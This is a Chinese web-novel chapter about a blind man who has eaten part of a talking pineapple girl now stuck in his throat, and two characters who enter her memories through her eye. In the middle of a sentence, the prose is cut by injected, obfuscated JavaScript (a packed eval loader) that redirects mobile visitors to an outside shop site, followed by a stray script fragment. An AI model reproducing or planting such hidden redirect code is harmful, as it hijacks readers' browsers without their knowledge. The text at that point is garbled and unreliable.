“你们说我刚吃的,是被我放在客厅里的菠萝?!”
那天从外面回来,结束工作的细布不可思议地问自己父母。
“是啊,你吃不出来吗?”父母不知道自己闯祸了,对儿子的反应感到茫然。
“你们怎么不早说.......”细布捂住自己的嘴巴冲向厕所。
太心急了,撞在墙上。“细布你还好吗?!”父母赶紧过来,掰住自己目不能视的儿子的肩。
“没事.......”细布眉头紧皱,忍住身上疼痛,撑着墙壁跌跌撞撞地找到厕所。
在洗手台前试图催吐。
被挡在门口不明所以的父母听着这阵阵呕吐声,担心压在眉梢上:“发生什么事了?你不喜欢吃菠萝吗?还是那块菠萝坏了?”
“不是.......”细布有口难言。
想到那位菠萝姑娘,觉得自己好像成了一个杀人凶手。
能补救吗?
不是说他对她动了恻隐之心,舍不得她。——把她带回家后细布就没和她说过一句话,菠萝姑娘好像也彻底哑巴。
可细布无法磨灭自己那日在水果店里的记忆。
他觉得既然一个菠萝会说话,就代表她某种程度上也是一个人。细布和正常人认识世界的方式不一样,本来就看不到人的脸,不知道他们是高是矮,是肥是瘦,细布是通过文字、气味和声音来想象世界的。
因此对他来说,一个会说话、会思考的菠萝和其他人没什么区别。
却要命,自己把一部分的她给吃进去了。
怎么办?赶紧把她吐出来。
吐得自己面部潮红。
貌似如愿,感觉喉咙出现一个异物。
却又不幸,这异物既不能再往上走一点,也不能往下,被卡在喉咙中间。
“医院......”细布从洗手台前退开。
摸索着,找到盲人杖打开厕所门。
“怎么样了?!”守在门口的父母迎上来。
“我要医院。”细布说。
“发生什么事了,你的喉咙——”
“有东西卡在里面了,我得把它取出来。”
坐上父母的车,被他们陪同着来到医院。
却不知为什么医生说喉咙里没有东西,虽然摸着凹凸不平,但细布张开嘴后,无法看到喉咙里有什么,去照x光也是一个结果。
“你再检查一下,是不是哪里不对劲?”父母无法信服医生的话,神色急切。
“摸着确实像是有东西,但.......所有结果显示都指向没有,”医生面色也怪异。
细布坐在凳子上,放在膝盖上的手不为人知地攥起来。
他不喜欢医院。人太多了,气味和声音无孔不入,让他对生活的失控感急剧飙升。
摸上自己的喉咙,感受上面微微凸起的弧度。指腹按下去,有点硬,是菠萝的身体吗?不大,拇指的大小。可它怎么会是完整的,记得父母给他递来的菠萝块他是嚼烂了才吞吃进腹。
而且它的存在,医院检查不出来?
细布试着在心里和那位菠萝姑娘沟通:那个......你在吗?菠萝,能应我一下吗?你是在我的喉咙里吗?
没有回答。
自己也觉得这举动荒唐无比。
从凳子上起来,细布摸上自己的盲人杖,“医生,既然检查不出来有什么东西,那就算了。”
“你现在感觉怎么样?我可以给你开一点助消化的药,”医生说。
“不用,我没觉得有什么不舒服的。”
“那就好。”医生似乎相信他。
细布从医院离开。
也将父母送走,回到家,他把门关上。“要再尝试和那位姑娘说话呢?”喃喃自语,“是她吗?”
心里浮浮沉沉,上上下下。
到了晚夜风吹进来,一个声音也像被吹进来,雾一样地笼罩住细布。
“好舒服......这一觉睡得太好了!等等,好黑,这是哪里——也好挤,我又被绑架了?”
是那个姑娘的声音!细布心头一凛,不动声色。
“我不是在一个叫细布的绑架犯的家里吗?怎么现在又换地方了?天!”
菠萝姑娘对自己现在的处境大惊失色,立刻想逃出去。
“怎么动不了,我是被卡住了?”
“.......你在我喉咙里,”在这时听到外面一个男声。
声若洪钟,整个“天地”都在震动。
菠萝姑娘僵住,“你是......细布?”顿感不妙,张望四周,在黑暗中想摸一摸自己所在的天地,却想起来自己现在连身体都没有,眼泪当即就掉出来。
细布仿佛察觉到她的异样。
“你别难过,我会想办法的........刚才已经去医院了,想让医生帮忙,但他说找不到你的存在......”细布尝试安慰,却不知道是不是嘴笨,话说到一半停下来,脸上出现懊恼,觉得自己越说越让这位菠萝姑娘难过。
“你为什么要把我吃掉!”菠萝姑娘好像也开始“得寸进尺”。
“对不起,都是我的错。你有离开的头绪吗?我其实到现在都难以置信一块菠萝会说话。”
“你很冒犯,”菠萝姑娘听着他说,“我不是普通的菠萝,已经修炼很多年。要不是你,还能活很长时间,有很好的人生。”
菠萝姑娘说的宛如他细布是一个反派。
细布真挚道歉。
菠萝姑娘放过他:“你刚才还有吃别的东西吗?能不能把我咽下去?”
“我喝了很多的水,但如果你真被我咽下去......”不会被胃液消化吗?细布没把话说完,心里饱尝复杂滋味。
安静下来,气氛从此沉重。
*
“要不要直接去他们的过去看一看?”英姑还没讲完故事,有个声音突然说。
山榕看向被放在书桌上的桃子:“可以吗?”
她点头。
他问:“不是说现在是白天,你不能进入人的过去吗?还是说菠萝是水果,你可以不受限制?”
“没错,”曹喜桃说完往前一滚,从书桌上
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17599249|205308||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
蹦下去。
山榕本能地伸手想接住她——
却在接住那刹那,来到一个地方。
*
五光十色,山榕见到自己出现在一个巨大的空间里。
周围空无一物,低头,双脚像踩在一面镜子上一样,和另一个自己对望。
但这镜子的镜面不是白色的,充斥着各种绚丽的色彩。
曹喜桃呢?山榕心里想到她,就听到她的声音响起:“我在这。”
近在咫尺。循声找去,哦,在他的右手手心里呢。
刚刚在现实生活中他不是把她给接住了吗?
山榕张张嘴,有点笨拙地问,“我们现在在哪?我以为会来到菠萝的脊骨背上?”
“菠萝怎么会有脊椎骨,这里是——”曹喜桃说到一半停下来,仿佛突然化身作一个吝啬鬼,不对山榕有问必答。
不过也给出线索:“你仔细看看就知道了。”
“是吗?”山榕轻声说,把视线从她身上挪开,谨慎地往前走了几步。
看到一处镜面上出现十几根毛发,颜色是黑色的,“毛发吗?”山榕看得心里也发毛,“不会有危险吧?”
“不会。你怎么忽然这么胆小?”曹喜桃数落他。
“......因为现在只有我一个人。”
“我难道不是人?!”不巧猜中曹喜桃在意的地方,她对他河东狮吼。
“我的意思是你现在是一个桃子,我身边........”山榕说话磕磕绊绊。
“会没有安全感,因为身边空荡荡的?”曹喜桃却明白了,眉眼一弯,神色登时就变狡黠。
满意,十分满意他的话。
山榕为此不想承认。
曹喜桃逼着他承认。
她说:“没事,我们现在是在那位菠萝姑娘的眼睛上,那十几根毛发是她的睫毛。通过她的眼睛,我们可以去回看她经历的事。和之前进入的幻境差不多,不会有危险。”
“这是眼睫毛?”山榕听着,低头凝视脚底下的黑色毛发,“........我们现在站在她的眼睛上,她会不会觉得疼?”
“不会。”
“我没看到任何过往的事发生。”
“往下跳。”
“哪里?”
“应该有一处是柔软、像水面一样的地方,你把它找到,跳下去。”
.......听着像是要跳楼,也像是跳水。山榕苦闷地看着面前镜面一样的地板,不敢动,怎么敢动。但手心里的桃子没心没肺,没良心地逼他行动。
于是无可奈何,山榕开始寻找她嘴里的“跳水台”。
费了一番功夫后来到一处。
蹲身伸出手,发现一整个手掌都能伸进去。
“是这里了。”曹喜桃笑起。
“直径才半米不到,我能钻进去吗?”山榕仍在犹豫。
“你爱跳不跳,”曹喜桃挣开他的束缚,利索地跳下去。
没有踪影。山榕哑然,有风吹来,这陌生地方让他无可救药地想念起她来,心一横,舍身去陪她。